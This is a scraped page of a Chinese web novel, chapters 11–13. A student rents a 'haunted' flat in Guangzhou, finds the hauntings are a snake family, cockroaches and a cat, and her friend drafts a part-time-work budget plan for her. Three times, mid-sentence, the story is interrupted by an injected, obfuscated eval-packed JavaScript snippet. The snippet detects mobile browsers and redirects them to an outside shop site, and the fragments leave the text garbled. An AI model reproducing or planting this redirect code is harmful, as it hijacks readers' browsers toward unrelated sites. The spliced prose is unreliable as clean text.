程理不住地瞥向空荡的浴室:“李双,在你之前,也不是没有想来捡这个便宜的人。但无一例外,他们最后都跑了,连押金都没要。” “程理。”李双目光炯炯地直视他担忧的眼睛:“你算过命么?” “没有。” “我算过。我不信玄学,但我爸信。算命先生说我神格金,四柱全阳,杀印相生格,羊刃驾杀命,不惧妖魔,邪祟自避。这么硬的八字,他一辈子也就见过我一个人有。 要是男博士真的怨念太强,夜半显了灵,我不介意和他好好聊聊,开导他放下执念,早登极乐,他若是冥顽不灵——” 李双晃了晃拳头:“那么在下也略通一些拳脚。” 程理嘴巴嗫嚅了几下,最后叹了口气:“好。那我来交涉。” 李双咧开嘴:“多谢。” 房东的要求是押一付四,提前退租也不退租金,还需要定期缴纳物业费。在程理的据理力争下,房东退了一步,勉强同意了押一付三。 “明早七点我们再来一次,确认采光也没问题,就和您当场签合同。” 手机铃声响起,房东在角落打完电话回来说:“不好意思啊后生仔。之前联系我看房的人确定要签合同,你们要明天看了采光才确认吧?我也是急着出租,所以——” “不用明天了!”程理立刻说:“她现在就签!” “现在?”李双扯了扯他的衣角,压低声音:“我还没去研究贷款呢!哪来的四千块?” “不用研究了。”程理朝她笑了笑,“我借你。” “你在说什么?这和你有——” “放心啦。”程理没再解释,转而看起证件与电子合同,确定没坑后,喊李双签字。 收到钱的房东把钥匙交给李双,并加了她的微信,开开心心搓麻将去了。 二人回到民宿,程理看着跳下车的李双问:“你来广州读书,行李只有一个行李箱么?” 李双摇摇头:“宿舍费没退,我依然享有居住权。被二房东骗了以后,我没有固定住所,所以只在箱子里留了必需品,杂物放回宿舍了。” “行。我明天早班,中午下班了去体校帮你搬家。” “哦……” “明天见。”程理刚打算拧油门,就被李双拦住。 夜色静谧,树影在李双紧绷的面庞晃动,远处的万家灯火也仿佛尽数压在了她肩头。她直勾勾地盯着程理,挺起胸膛,结巴且声如洪钟地说: “先、先说好!钱我一定会赶在放寒假前连本带利还给你!你要是……要是不信,我现在上楼把平板抵押给你,我的平板可值钱了!回收价起码也要——” 程理笑着把手臂架在车头,指尖轻轻拨弄水母钥匙扣:“干嘛突然这样?我又没催你。” “程理!”李双骤然抬高音量: “我是不会和你谈恋爱的!” 11. 第11章 程理收敛笑意,点着头说:“你会这样想倒也无可厚非。但我可以很明确地告诉你,我对你没有那方面的兴趣。” “我知道这么说很自恋。”李双上前一步,力求将对方的微表情一丝不漏地捕捉: “从小到大,我见识过了太多对我有企图的男人,他们有的只默默关注,有的则会想尽办法和我套近乎。冒犯你我先道歉,可你现在的行为,在我看来……就是那个意思!” 程理摆摆手:“都说没——” 李双急切地打断他:“先前你借我钱,我可以当做是你为了回报我帮你制服醉鬼。可今天你又是主动做计划带我看房,又是掏钱给我垫房租,明天还要来帮我搬家……你让我怎么不多想? 白天你也说了,生活中遇到慈善家的可能甚微,坑倒是十有八九。那你呢?程理,你为什么要帮我到这个地步?” “因为我把你当朋友啊。别告诉我,我在你心里的定位还是路人甲。” “朋友?”李双方寸乱了一秒,又很快镇定下来:“要是没有这些事,我很乐意相信你的话。王允对董卓毕恭毕敬,看起来是为了谋求庇护,实则是为了设计杀他;诸葛亮前往东吴,表面上劝孙权降曹,实则为了促成孙刘联盟落地。 程理,你眼里的我,是董卓还是孙权?” 程理静静地望着她,额发在风中飘舞,本就藏匿镜片后的双眼,此刻更是因为阴影而晦暗。 “哎呀。”程理不好意思地笑了起来:“你比我想的要敏锐好多。” 李双刚要开口,程理就主动抬起了头,他捧着下巴,眼睛亮亮地注视李双略显惊恐的脸,像在欣赏一块未经打磨的水晶。 “你的公式对了,答案却错了。我确实想从你身上得到某样东西,只不过与钱无关,更与你本人无关。” 李双警惕地问:“你想要什么?” “非说不可么?”程理望向天边的月亮。 “是的,我讨厌不清不楚。” “嗯……”程理摩挲着下巴:“我想在你身上寻找一个问题的答案。” “什么问题?” “不告诉你。”程理笑嘻嘻地戴上头盔,“我好歹是你的债主,一点特权都没有么?” 李双反手按住车头:“不说不让你走!” “点解咁硬颈??”程理无奈地松开把手:“这样,等你不存在任何困境的时候,我就连问题带结论一口气告诉你。行不行?” 李双盯着他思索了几秒,举起小拇指:“拉钩。” 程理也伸出小拇指:“骗你是狗。” “等我一下!”李双转身跑进楼道。 “又怎么了?” “我去写张欠条给你!” 李双紧赶慢赶下楼,面前唯有树影,她只能默默垂下捏着欠条的手。 ————————— “都拿下来了么?”程理拢了拢踏板上的杂物。 “应该……啊!”李双一拍脑袋,“衣柜里还有个盆,我去拿。” 迎着明媚的阳光,李双风风火火跑回了宿舍楼。程理仰起头,几双眼睛正藏在宿舍阳台,隔着围栏朝他瞩目。 带着如沐春风的笑容,程理向偷看的人比出中指,又在李双出现时缩回。 “你干嘛呢?”没看清的李双疑惑地问。 “没干嘛。”程理背过她转动车钥匙,“你坐地铁去银曜花苑?” 李双一手拖行李箱,一手抱盆:“我这样也坐不上你的车啊。” “其实也不是不行。” “太危险啦!”李双大步走向地铁站:“万一有个磕碰,我俩得双双进医院打石膏。” 拖着大包小包的李双挤出地铁,进入4号楼。电梯门打开,蹲在地上玩手机的程理起身,他脚边靠着李双的杂物,手里提着一袋香烛和苹果。 “你买了贡品?”李双开门的同时面露嫌弃:“我都说我不怕鬼了。” “求个心理安慰嘛。”程理帮她搬东西进门,“我还给你带了个铁艺鞋架。” “乔迁礼物么?谢谢。” “别谢,捡的。这鞋架是毕业的师哥不要的,在宿管那堆了好久,免费给我了。昨晚我刷干净了,你要是还嫌脏,扔了也行。” “鞋架而已,我一点也不嫌弃。” 程理拆掉门口的黄布,又将香炉放进贡台,插上香,摆好苹果,恭敬地拜了拜,小声说:“博士哥,不求你保佑她,好歹别为难她。” 收拾东西的李双无语地直起背:“嘀咕什么呢?程理,你不会其实很信这些吧?” “也没有,间歇性地信一信。你也是,别那么张扬,偶尔向未知低个头又不会怎么样。” “我才不……喂你怎么开始扫地了!” 程理一脸莫名其妙:“满地都是灰,不扫干净怎么住?” “谁、谁要你帮我做家务啊!”李双耳根子通红:“昨晚都说了,你总是这样事无巨细地为我考虑,我很难不误会!把扫把放下,我自己有手!” 程理听话地照办:“打了一早上工,又帮人搬家搬到12点,我现在简直饱得不行。” “少阴阳怪气。”李双笑着揣好钥匙:“走。去楼下吃麻辣烫,我请客。” 经历两天的搬迁与打扫,12月的第一天,下课的李双终于在晚上十点住进了新家。 S:到404了 给程理发完这句话,李双走进浴室洗澡,出来看见主页弹着好几条未读消息。 AAA语商通天代:记得锁门,关窗 AAA语商通天代:半夜有人敲门千万别理 AAA语商通天代:怎么不回复 AAA语商通天代:还好吗??? S:刚洗完澡 AAA语商通天代:浴室里有出现什么吗 S:有 AAA语商通天代:!!! S:蚊子 AAA语商通天代:…… S:拜托,你也太紧张了,不是我住凶宅么? AAA语商通天代:好吧。我今晚在便利店上通宵班,有事给我打电话 李双对于程理过犹不及的关心感动又无语,回了条语音:“要真发生了什么超自然的事,我给你打电话也没用啊,你又不会驱魔。放心吧,我从小看林正英的电影长大的,英叔会保佑我的。” 程理没再发消息过来,明天上午还有课的李双决定熄灯睡觉。 嘶嘶嘶——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957846|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凌晨三点,噼里啪啦的雨水砸在窗台,其中夹杂着低沉的、接连不断的怪声,宛如低语。熟睡的李双被吵醒,于黑暗中睁开了眼。 李双起身开灯,怪声隐进雨水,她干脆下床来到了客厅。 “谁!” 门被推开的瞬间,一道黑影从阳台一闪而过!李双箭步拉开窗帘,却什么也没看见。 冰凉的雨丝亲吻李双额头,她扶着围栏向四周环顾,面前仅有陷入雨幕的夜景。李双拉上阳台门,退回了客厅。 404室所有的灯都被打开,李双叉着腰立在沙发前,她凝视着贡台上微微腐烂的苹果,感到了丝丝缕缕的凉意。 “朋友。”李双决定试着交涉一下:“我只是个走投无路的租客,不是害你的人。你的遭遇我很同情,我答应你,只要我在广州,每个月月初都会买苹果供奉你。我们一人一鬼井水不犯河水,成不成?” 当然无人回答,李双一边嘟囔着“我在犯什么蠢”,一边回卧室。可她刚爬上床,就听见外面传来“咚”的一声。 李双立马杀了回去,贡台上的香炉竟然倒了!香灰洒了一地,苹果也滚得到处都是。 火气蹭蹭往上冒的李双撸起袖子:“敬果不吃吃罚果是吧?小动作吓唬人算什么本事!你有种滚出来!我倒要看看,到底是你法力强,还是我拳头硬!” 回应她的是沙沙的雨声。 “赶紧啊!”李双骂骂咧咧地来回踱步:“我还要睡觉呢!没时间在这和你浪费时间!” 咯吱—— 浴室门骤然弹开一道缝。 “要我去你的主场作战是吧?没问题!”李双冲回卧室,从枕下取出提前备好的钢指虎,一脚踹开了浴室门。 浓重的烟熏味从地漏中渗出,李双拧着眉毛大骂:“自私鬼!你把浴室搞得这么臭,我明早怎么刷——” 突如其来的冰凉打断了李双的话,她徐徐仰头,原本雪白的瓷砖此刻一片猩红!不明红色液体带着腥气,正从缝隙里争先恐后地向外渗,滴滴下落。 “精神攻击对我没用。”李双冷漠地抹掉额间的红,“我只会被你激怒,然后揍得更用力。” 天花板开始咣当狂响!仿佛结界中的恶鬼咆哮着撞击封印!伴随窗外的电闪雷鸣,血红的液体降如疾雨,连瓷砖都隐隐有了松动的痕迹! 火冒三丈的李双搬了张椅子进来。她踩上椅子,简单粗暴地向下撕扯,在大力出奇迹下,响动最大的砖真的被她握进了手心。 “让我来看看……”满头大汗的李双小心地挪开瓷砖:“你的真面目——卧槽!” 歇斯底里的尖叫,在整座广州城响彻。 阳光照在程理凝重的脸上,他提着鼓鼓囊囊的塑料袋,步履匆匆地进入4号楼。电梯打开,衣着单薄的李双抱着膝盖坐在门口。 “来啦?”听到动静的李双仰首,她面色苍白,眼珠浸满血丝,眉宇间阴霾丛生,整个人散发着深深的绝望与忧虑。 程理在她面前半跪,关切地问:“李双,你还好吗?” “我不好!我一点也不好!”李双救命稻草似的抓住他的手臂,语调癫狂而悲怆:“程理,你告诉我…… 蟑螂为什么会飞?” 12. 第12章 “解释起来很复杂,但归其原因……这里可是岭南啊!古人严选流放之地。” “见鬼!我就说怎么没有流放江南的说法!”李双沉痛地捂住胸口:“你知道么?昨晚那只蟑螂比我半张脸还大!飞起来的声音和直升机一样!而且虫子不应该阴暗爬行么?它为什么敢追着我咬?我现在就和生嚼了两斤花椒似的,整个人都麻了!” “蟑螂是杂食动物,它追着你……是想吃你。” “别说了!”李双抱住头:“托你买的东西买了吗?” “买了。”程理晃了晃塑料袋:“说起来香港也属于岭南,对蟑螂不应该司空见惯么?” 李双颤颤巍巍地起身:“我三年前才从纽约回来,这三年我除了上学就是练功,家务都是我爸和二哥干的。他俩实在太能干了,我家连苍蝇都很少出现,更别提蟑螂了。” “令尊令兄为这个家付出了太多。你昨晚说你已经知道了‘闹鬼’的真相,是什么意思?” 李双长长地叹出一口气,打开了门—— 放眼望去,满地都是乱七八糟的黑脚印。贡台倒在地上,香灰和踩烂的苹果洒得到处都是。浴室门大敞,不明红色液体在门口蜿蜒。 “你和博士哥打架了吗?”程理颤抖着问。 李双掏出手机:“要看吗?我昨晚拍了和它搏斗的录像。” “不!”程理遮住眼睛:“看了会折寿的!” “不是灵异视频,但你看完,说不定会觉得还不如是呢……” 程理思索了几秒,小心地移开手,在看清的瞬间闪现到墙角:“好恐怖的花纹!” 李双眨了眨眼:“原来你怕蛇?” “我讨厌没有腿的爬行动物,包括黄鳝!” “黄鳝不是爬行动物……算了。好消息,棕黑锦蛇是一种无毒宠物蛇;坏消息,这玩意儿最多能长到两米,比我俩都‘长’。” “这间屋子为什么会出现蛇!看房那天还没有啊!” “因为它藏在浴室的天花板里。”李双淡定地播放录像:“不知道它是怎么钻进去的,估计是饿坏了,就用尾巴狂敲瓷砖,地上的红色液体是它的血。你知道我打开瓷砖,除了蟑螂骑脸以外,还看到了什么么?” “什么?” “碎掉的蛇蛋。” “亲娘嘞还是条母蛇!”程理火速退至大门外:“那那那这房里岂不是……” 李双的苦笑大写加粗印着“没招了”三个字:“没错。我和消防员找蛇找了一夜,这一地的脚印都是他们留下的。所谓的夜半低语,就是蛇宝宝吐信的声音,东西莫名掉落,也是因为它们走路……不对,爬行横冲直撞。” “天呐,还不如是博士哥显灵呢……” “烟熏味。”李双朝地漏扬了扬下巴:“来自7楼阿婆熏的艾草,她有风湿病,一到下雨天就膝盖疼。” “啊这……” “至于窗边黑影——是隔壁养的黑猫,因为没封窗,所以它没事就出来遛弯。我已经上门和邻居‘推心置腹’地聊过了,他们发誓立刻封窗,以后大黑不会再有机会离家出走了。” “这下所有闹鬼事件都破案了,除了鬼压床。” “被这群卧龙凤雏骚扰,是个人都会神经衰弱的,更别提确实有人在此轻生。俗话说日有所思夜有所梦,睡眠时感到身体沉重也说得过去。”李双向他招招手:“你躲什么,进来啊。” 程理不为所动:“蛇全都找到了么?” “找到了呀。一共就三个蛋壳,三个宝宝带它们亲妈,一家四口已经送去动物收容所了。除了那只不知所踪的蟑螂,404已经没有需要害怕的东西了。” “好吧。”程理这才重新踏进门,他从塑料袋中取出土豆、硼酸,以及一袋白糖。 李双大怒:“你要在这做饭啊!我不是让你买灭螂药么?” “这是狐主任的‘小强嗝屁餐’,小强吃下混有硼酸的土豆泥脱水死亡,死之前会跑到下水道寻找水源。这个方法简单又不用处理尸体,非常适合你。” “狐主人?”李双瞪大眼。 “主任!科普博主无穷小亮!鉴定一下网络热门生物视频,没刷到过么?” “还以为是什么色情博主……”李双不好意思地取出泡面锅:“对不起,我不太跟得上国内的潮流,也不认识什么互联网博主。” 趁着土豆下锅炖煮,二人一边收拾满地狼藉,一边随意聊天。 “香港人都用什么社交软件?” “聊天用Whatapp,发照片用Instagram,看视频用YouTube,还有一些杂七杂八。” “都要挂梯子,你和家人交流岂不是很不方便?” “她们为了迁就我,全都注册了微信,还拉了个‘相亲相爱一家人’的群。” “哈哈,我家微信群也叫这个名字。” “来广州前我听说大家会用企鹅,特意下了个,结果完全没用上。” “你早来10年就能用上了,微信没问世前,企鹅掌控着全国年轻人的社交。” “包括你吗?” “是的,我的小学、初中同学都在企鹅里。企鹅空间相当于朋友圈,以前我最大的乐趣就是逛空间,看他们每天发了什么。” “听起来很有意思。” “特别有意思。”程理笑着打开锅盖:“土豆已经熟了,我们去餐桌上把它们搓成丸子。” “好嘞!” 程理继续话题:“有人会装成明星。古天乐你应该认识吧?我加过他的企鹅,他说只要我花钱给他充Q币,他就带我去香港拍电影。” “还有这种事?”李双狂笑。 “是啊,除开骗子,大多数人还是挺纯真的。大家会给自己取花哨的网名,比如战一柔、爷傲奈我何;发一些尬尬的自拍,配文是‘你若折我姐妹翅膀,我必毁你整座天堂’之类的;空间还有各种小游戏,可以种菜、买车什么的。哎呀越说越怀念,我也很久没打开企鹅了。” “好羡慕。我要是也在国内长大就好了。” “说羡慕也太过了。只是一段搞笑的青春回忆罢了,你在纽约没有么?” 李双低着头,认真地将土豆泥搓成丸子:“没有。我不怎么受欢迎。” “什么?”程理大惊:“你都在全校面前暴揍虐童癖了,不该名声大噪么?” “很不幸,我动手的时间是六年级的最后一个学期,毕业季近在眉睫,没人真的记住我。” “不对啊,你这么……这么……” “我这么漂亮,人缘怎么会差?”李双语气平淡:“是的,我的追求者确实很多,但他们只把我当成纹路奇异的花瓶,一个可以向别人炫耀的资本,大多数人连我是中国人还是日本人都分不清。至于女孩们…… 我实在和她们聊不到一起。初二的时候,我认识了一个叫小玉的华裔女生,我和她,还有个意大利裔的卷毛男生因为某些原因成了三人组。那段时间是我纽约生活中为数不多的快乐时光,可惜小玉一学期后转学走了,和小卷毛出双入对又很奇怪,所以最后我又变成了孤身一人。” “不至于一个人吧,你不还有兄弟么?” “我大哥很忙的,每天都要参加各种各样的社团活动,我也不好意思总去打扰他。我二哥……连你都曾误会过我和他的关系,更别提那群外国小孩了,他们闲话说得非常难听,最后连老师都来找我探口风。所以我宁可一个人,也不和他待在一起。” 程理讪讪说:“怪不得你想和舍友成为朋友。” “是。孤单的感觉真的挺痛苦的。因为不想让家里人担心我融不进集体,我说自己加了数学社,实际上我每天放学就骑着自行车去湖边吹风,从白天坐到黑夜。” “那片湖在阳光下波光粼粼的,很美。”李双说话的声音轻得像羽毛落在湖面:“赤着脚站在湖水里,那份冰凉反而令我痛快。” “李双,你……” “啊——!” 李双的尖叫截断了程理的话,昨晚袭击她的蟑螂竟然出现在了桌上!它的行动速度快如闪电,眼看就要爬上李双手背! 惊恐到极点又一夜没睡的女孩大脑彻底停转,她本能地手起刀落—— 噼啪! 程理呆若木鸡,目送裂开的餐桌无可阻挡地向内凹陷、坍塌。 死寂,占领了404。 李双僵硬地抬起下劈的手。 “你没……”程理的话戛然而止,因为李双的手掌侧边沾着一片小强,周围还有些许淡黄色液体…… 死寂,再次占领了404。 李双,一个成年女性,铁骨铮铮的传武继承人,此刻她呼吸困难,战栗不止,喉中溢出绵长而凄厉的呜咽。 “我的手……我的手……”李双死死盯着掌心,崩溃的模样堪比《罪恶王冠》里失去手臂的主角,仿佛下一秒就要跪地大喊“我的王之力”。 啪叽。 曱甴.zip落在地上。 程理后仰,同时倒吸一口气。 坏情绪飚至顶峰,大颗大颗的泪珠接连落下,破大防的李双哇的一声哭了出来! “为什么倒霉的总是我!被舍友欺负,被芒果砸头,现在连蟑螂也来欺负我!好恶心真的好恶心!天杀的!这手不能要了!切掉!切掉!” 满面狰狞的李双钳住手腕,力道大得像是要将它从身上扯下。 “别冲动!”程理玩命地按住李双发狂的爪子,拉着她进入浴室。 洗手台的水哗哗往下流,李双的眼泪也哗哗往外淌。程理紧握李双发抖的手,挤了整整三泵洗手液上去,帮她从指尖洗到指缝,再从手心到手背。 反复搓洗两次后,程理关上水,举起她的手安慰:“看,已经干净了。” “一点也……不干净!”李双依旧哭得上气不接下气。 “好好好!那再洗一遍。” 程理赶紧再次打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957847|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水龙头。两个大个子挤在小小的浴室里,行动一点也不方便。程理干脆站到李双身后,双臂穿过她腰间,裹住她的手。 “别哭啦,只是虫子而已。” 程理的鼻息泼在李双耳后,李双没忍住侧头望了一眼。隔着朦胧的水雾,程理的眉毛微微皱着,注视手掌的眼睛目不斜视,隽秀的脸上是十成十的认真,仿佛他不是在为倒霉蛋洗手,而是为宇航员检查装备。 李双的心重重地跳了两下,放在他掌心的手慢慢柔软了下来。 热水淌过四只交叠的手,浴室的温度逐渐攀升,四下水汽氤氲,洗漱镜浮起一层薄雾。 “差不多可以了吧?”程理小心地开口:“手都搓红了,再洗要破皮了。” 李双没说话,只默默盯着掌根掉眼泪。 模糊的镜面倒映着李双哀伤的影子,以往的锋芒毕露不复存在,此刻的她像个羸弱的孩子。 室内静默了几秒,程理把她转过来面对自己,捧住她的脸,用温暖的指腹为她擦去泪水。 “不伤心了好不好?” 李双原本就快冷静下来了,可一对上程理温柔关切的眼眸,她就完全控制不住泪腺。 “咦?怎么哭得更凶了?”手忙脚乱的程理更加努力地擦眼泪。 “我觉得……自己好没用……”李双的眼泪砸在拖鞋上:“什么都处理不好,还被区区虫子弄哭了……呜……” “别这么说,你很厉害的!” 程理又尝试着安抚了几句,可陷入自我厌弃的李双什么也听不进去。 “别哭啦。”程理单手拢住李双,将她半圈在怀中,手掌轻柔地拍打她的脊背:“再哭要脱水啦。” 垂头丧气的李双额头倚在程理肩头,哭得一抽一抽的,泪水浸湿男孩的衣领,如同雨水滑下台风中倾斜的伞。 一下一下的安抚中,李双的抽泣渐歇。鼻腔钻进好闻的皂香,背后的触碰也愈渐滚烫,脸红的李双赶紧推开程理,抹着眼泪说:“我把桌子劈烂了,房东肯定不会退押金给我了。” “原来你在担心这个。”程理弯起唇角:“交给我吧,我去和他交涉。” “怎么交涉?” “呐你想。”程理胸有成竹地竖起一根手指:“来看房那天,房东从头到尾都没提404闹鬼的传闻,说明他就想打这个信息差。既然他不仁,就别怪我们不义。到时候我就说你在客厅看见了奇怪的影子,情急之下打坏了桌子,现在主动赔他张新的,他估计也不敢多说什么。” 李双依旧满面忧虑:“买新桌子的钱说不定和赔押金没区别。” “放心吧,我帮你在闲鱼淘一张,本地自提,保证不超过50块。” “咸鱼是什么?” “一个二手商品交易平台,只有你想不到,没有买不到。” “这么厉害?我还以为是个卖海鲜的APP。”李双终于破涕为笑。 “赛博黑市可不是盖的。”程理收回手,细细观察李双的表情:“现在不难过了吧?” 面颊微红的李双别开脸:“程理,上次的问题你还没回答我。” “上次?”程理愣了愣:“不是说了等——” “不是那个。”李双低头拨手指,声音细如蚊蝇:“是董卓……还是孙权?” “当然是孙仲谋。” “真的么?” “真的呀。” “那让我加你企鹅!”李双反手掏出手机。 “加加加。”程理也掏出手机:“不过先说好,我现在真的不用企鹅,也不发空间。” “没关系,我只是不想一个好友也没有。嗯?你把空间锁了么?” “是啊,以前发了太多羞耻的东西,一条条删太麻烦了,干脆锁上。” “打开,我想看。” “都说很羞耻了,拜托你不要强人所难。”程理好气又好笑:“我也是要面子的。” “小气鬼。”李双撅起嘴:“我只想更了解你。” “你能不能……”程理捂住脸:“不要总是一本正经地说容易让人误会的话。” “难道真的是在美国待久了?”李双眨眨眼:“我没觉得自己说的话哪里能引起误会。” “等着吧!这里是China,我会持续地、不留余力地纠正你。对了,你的手疼么?” “完全不疼。”李双淡定地握拳又松开:“甚至可以再劈一掌。” “可别。”程理看向客厅的满地狼藉:“虽然早知道你力量惊人,但能徒手劈烂实木桌,还是完全超出了我的预料。” “二哥给我取了个外号,叫‘西伯利亚母棕熊’。” “有熊的力量和耐力啊……那我为你制定的计划,你应该能完美执行!” “什么计划?” 手心传来短暂的震动,李双盯着对方传来足有500MB的PPT文件,陷入了沉思。 “孙将军。”程理笑得很是纯良:“且听亮细说。” 13. 第13章 “起来啊!全世界起来!八点钟,上班!” 6点的闹铃接连不断震动,睡眼朦胧的李双左摇右晃地起身,她原地坐了半分钟,望着写满通勤计划的手机壁纸,认命地钻进了浴室。 AAA语商通天代:仲谋,起床了吗 李双一边刷牙,一边飞速地回复。 S:这么早就起了? AAA语商通天代:没,我还躺着呢。毕竟是计划第一天,特意来问问你有没有消极怠工 S:少瞧不起人,我马上就出门了 AAA语商通天代:那你加油,我再睡会zzz 穿上提前准备好的衣服,李双背上运动包,关掉水阀电闸,毅然决然地踏出404。 云彩安静地躺在微亮的天幕,清洁工三三两两地扫着地,远处的早点铺炊烟缥缈,树下掠过一个又一个的晨跑人。 去往地铁站的路上,李双啃完了便利店薅的过期饭团。半小时后,她出现在了学校操场,用手机给平板开热点,两台电子设备同时启动校园跑APP,开始不急不慢地刷圈。 太阳缓步移出云层,第一节课的预备铃在校内响彻,大部分人都走向教室,而一小时后才上课的李双找了个空教室充电。 趁着开水房空无一人,李双从包里掏出两个足有1升的空水杯,直到将它们全都装满,她才心满意足地回程。 趴着补了30分钟觉,第二节课的铃声响起,李双提着沉重的运动包走进教室。 手机与平板挂着网课,没有娱乐设备的李双只能选择听对她而言没有意义的英语课。 上午的课程结束,李双在食堂简单吃了一顿,重新回到空教室。使用程理教的话术,李双成功在同学那接到了6份五块钱的英语抄写作业订单。 李双放下笔,忍着手腕的不适拍照发给雇主。看着余额中多出的30块,李双满意地起身,再次进入食堂。 下午四点半,李双硬着头皮从第一家餐铺问到最后一家,终于有个卖盖浇饭的瘸腿男老板同意收她当午间临时工。李双为他工作一小时,他用剩菜为李双提供一顿晚饭。 天色渐暗,来吃饭的学生越来越多。在体校这个女男比2∶8的地方,放眼望去整个食堂都是又高又壮的男生。 兢兢业业打饭的李双偶然抬头,猝不及防发现面前围着一大群男生,人数比隔壁卖黄焖鸡的起码多三倍。 望着男生们略显鸡贼的脸,李双有点不爽,觉得自己像个出卖美色的豆腐西施。但转念一想,卖得快她就能提早收工,看到生意好,老板下次肯定还会同意她来帮忙,双赢。 “同学,你是我们学校的学生吗?” “嗯。”李双面无表情。 “同学,明天还能看见你吗?” “不好说。”李双言简意赅。 “同学,买几份饭能加你微信?” “买多少都不能。”李双反应冷漠。 好歹都是大学生,即便被李双拒绝,也没有人死缠烂打。饭点慢慢过去,食堂变得清冷。还剩5分钟结束工作,李双收拾起台面上为数不多的菜。 “她怎么在食堂打饭?” “不知道啊……” 刻意压低的声音钻进耳膜,李双不动声色地竖起耳朵,曾是舍友的舞蹈三人组就在几米远的地方。她直起身,偷偷打量的三人立刻头也不回地跑出了食堂。 “下班。”李双摘下帽子与围裙,取来空碗。台上只剩蔬菜与红烧鸡腿,李双夹上蔬菜,又浇了半勺肉汤,刚打算走,就被老板喊住: “这实心眼孩子,咋不夹肉呢!”老板面带和蔼的笑容,把最大的鸡腿夹进李双碗里:“快吃吧。” “谢谢。”李双有些感动。 “多亏你,今天生意特别好。明天还来不?” “来的,还是今天这个点。” 吃完晚饭,李双赶回教室上课。九点半课程结束,她紧赶慢赶到达便利店,替换程理下班。 “晚上好。”程理笑着问:“今天过得怎么样?” “非常完美!我只花了6块钱坐地铁,可代做作业赚了30,代跑操赚了4块,等我代刷完网课,就又有30入账。” “准备好第一次上通宵班了吗?” “没准备好我也来了。”李双换上工服,把挂着网课的手机和平板藏在柜台下:“快走吧,姐要干活了。” 搬水理货打扫卫生,时不时再点点手机,李双的通宵班过得异常充实。阳光重新照耀大地,来换班的同事准点出现,李双扫了眼手机,用最快的速度换上私服,冲进地铁站。 踩点挤进地铁,李双回到404,打开水阀电闸洗了个澡,又花了5分钟吹头发。头发半干的李双关掉家中的一切,再次提着包出门。 就着隔夜水吃下两个临期面包,九点刚到,李双出现在家门口的电影院。 “你好!我是来打工的李双,前天联系过的。” 戴眼镜的中年女人打了个大大的哈欠:“跟我来吧。” 经过简单的学习,李双成为了电影院的前台。检票卖票做爆米花,偶尔处理下大厅的卫生,时间很快来到了下午三点。 33小时没睡的李双回到学校,距离四点半开启的打菜工作还有一小时,她依旧找了个空教室挂网课,顺便把空空如也的水杯洗净添满。 吃完用劳动换来的晚饭。李双走进教室,面对意义不明的道德课,没道德的她果断坐进最后一排补觉,一睡就睡到了下课。 “真不明白为什么课程都在晚上……”好梦被打断的李双嘟嘟囔囔地背上包。 回到出租屋的时间是夜间十点,李双却没有开灯。她打开水阀,将全身的衣服脱光,借着手机光洗衣晾晒。 做完这一切,光溜溜的李双倒进床铺。 “起来啊!全世界起来!八点钟,上班!” 凌晨零点的闹钟响起,李双爬起来开电闸洗澡。为了省电费,她听取程理的建议,将用电时间尽量控制在凌晨,因为凌晨的电是谷电,价格比高峰期便宜了接近五分之四! 洗澡途中,李双当然没忘记挂机网课,待到吹完头发,精疲力竭的她关上电闸,倒头就睡。 “起来啊!全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957848|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界起来!八点钟,上班!” 六点的闹铃再次响起,李双和前天一样赶到学校跑操。今天上午只有一节课,结束后她前往便利店上中班,并在衣柜里找到了程理留给她的过期一小时的便当,毫不介意地加热后,美滋滋地吃下了肚。 下午三点,便利店的工作结束。李双再次杀到电影院,一直干到了晚上十点。 洗完衣服,等待凌晨到来的李双光溜溜地躺在客厅。霜白的月光透过阳台,晚风轻拂她的头发,静谧的室内,李双仅能听到自己浅浅的呼吸。 “哈哈哈……”望着空无一物的天花板,李双忍不住笑了起来。 她犹记得打开PPT的那刻,自己有多么目瞪口呆。 程理制作的PPT共有28页,其中详细罗列了九种打工方案、九种省钱方案以及十二个兼职群的二维码。李双这才意识到:他说的高效、合法合规渡过难关的方法—— 原来是打工啊! “这日程排得也太紧了!而且带超大号水杯去学校蹭水什么的好丢脸!”爱面子的李双如是说。 “丢脸能有省钱重要么?”程理托了托镜框:“银曜花苑的用水价格是2.7元一吨,每吨水大约能洗15次澡,再加上刷牙洗脸洗衣服,每个月至少100块水费。 哪怕你尽量用凌晨的谷电,每天3度,一个月依然要30块电费。你没有热水壶,为了卫生也不可能买二手货。一个壶算它40块,水费电费130元。你现在身上还剩多少?” “去掉买桌子的钱,差不多……500?” “500减170还剩330。你说你元旦不回家,也就是说你要用这330活到1月19号放寒假,足足50天,平均每天只能用6.6。 